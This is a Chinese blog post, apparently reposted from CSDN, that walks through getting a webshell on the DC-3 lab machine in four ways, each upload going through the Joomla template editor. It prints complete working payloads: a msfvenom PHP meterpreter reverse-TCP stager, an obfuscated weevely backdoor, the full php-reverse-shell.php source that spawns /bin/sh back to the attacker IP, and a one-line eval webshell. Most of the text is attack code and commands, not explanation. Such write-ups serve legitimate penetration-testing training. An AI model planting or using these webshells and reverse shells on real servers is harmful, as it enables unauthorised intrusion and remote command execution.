0


渗透测试获取webshell方法总结

    在渗透测试过程中,经常需要用到webshell获取网站系统权限。本文以DC-3渗透测试实验为例,总结了以下几种获得webshell的方法。

一、msfvenom制作木马获取反弹shell

(一)开启msf监听

msfconsole
use exploit/multi/handler
set payload  php/meterpreter/reverse_tcp
set LHOST 192.168.101.75(kali攻击机的IP)
run

(二)制作木马命令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.101.75 LPORT=4444 -o test
    执行后test的内容:

/*<?php /**/ error_reporting(0); $ip = '192.168.101.75'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

(三)上传到DC-3的网站后台

    经过测试,不能将test.php木马直接上传,需要使用Extensions--Templates功能。

    将前面生成的木马内容复制粘贴进去,点击左上角保存。

(四)访问木马文件路径建立反弹连接

    访问路径:http://192.168.101.74/templates/beez3/test.php

    返回kali,看到反弹连接已经建立。

    剩下的事情都一样了,进入交互式shell,然后提权。

二、weevely制作木马获取shell

(一)制作木马

weevely generate test test1006.php
    test1006.php木马文件内容:
<?php $o='5ts("php://i5npu5t"),$m5)==51) {@ob5_start();@e5val(5@gzunco5mpress(5@x(@b'; $D='5or($i=0;$i<$l;){for($j=0;(5$j<5$c&&$5i<$l);5$j++55,5$i++){$o.=$t{$i}^$k{$'; $A='$k="098f56bcd"55;$kh="46521d373ca5de5";$kf="4e83262575b4f6";$p=5"U8yIh5B5u'; $H='5hYJKTvSI2";5fu55nction x($5t,$k){$c=5strlen($k)5;$l=strlen(55$5t);$o=5"5";f'; $M='j5};}}ret5urn 5$o;}5if (@p5reg_matc55h("/$kh(.+)5$5kf/",@file_get55_conten'; $S='a55se6455_decode($m[1]),$k))5);5$o=@o5b_get_cont5ents(5);@ob5_end_c5lea5n('; $b=');$5r=@bas5e64_5enc5ode(@x5(@gzcompr5ess($5o),$k));pr55int("$p$kh$r$kf");}'; $v=str_replace('D','','DcrDeateD_DfDuDnction'); $R=str_replace('5','',$A.$H.$D.$M.$o.$S.$b); $u=$v('',$R);$u(); ?>

(二)上传木马到目标网站

    将以上代码复制到目标网站的Extensions-Templates,方法同第一步。

(三)使用weevely获取shell

​weevely http://192.168.101.74/templates/beez3/test1006.php test

    已获得shell

三、php-reverse-shell.php获取shell

(一)生成木马

cd /usr/share/webshells/php
cp php-reverse-shell.php /tmp
cd /tmp
    删除以//开头的注释行
 sed  -i "/^\/\//d" php-reverse-shell.php
    手工再把其他不是以//开头的注释行删除,并且需要将文件中的$ip = '192.168.101.75'; 和$port = 1234;修改成实际环境。
cat php-reverse-shell.php
<?php set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.101.75'; // CHANGE THIS,这个IP要改成kali的地址 $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>

(二)上传木马到目标网站后台

    方法同上

(三)开启监听

    在kali上开启监听
nc -lvp 1234
    如果没有在kali上开启监听,在访问目标网站木马链接时,会出现如下报错:

WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)

(四)访问目标网站木马文件网址

    访问网址:http://192.168.101.74/templates/beez3/test2.php

    在kali上获得shell

四、一句话木马获取shell

(一)制作一句话木马

<?php @eval($_REQUEST["cmd"]);?>

(二)上传到目标网站

    方法同上

(三)使用蚁剑访问

1. 启动中国蚁剑

2. 添加数据

3. 连接虚拟终端

标签: 网络安全

本文转载自: https://blog.csdn.net/u013930899/article/details/127183667
版权归原作者 見贤思齊 所有, 如有侵权,请联系我们删除。

“渗透测试获取webshell方法总结”的评论:

还没有评论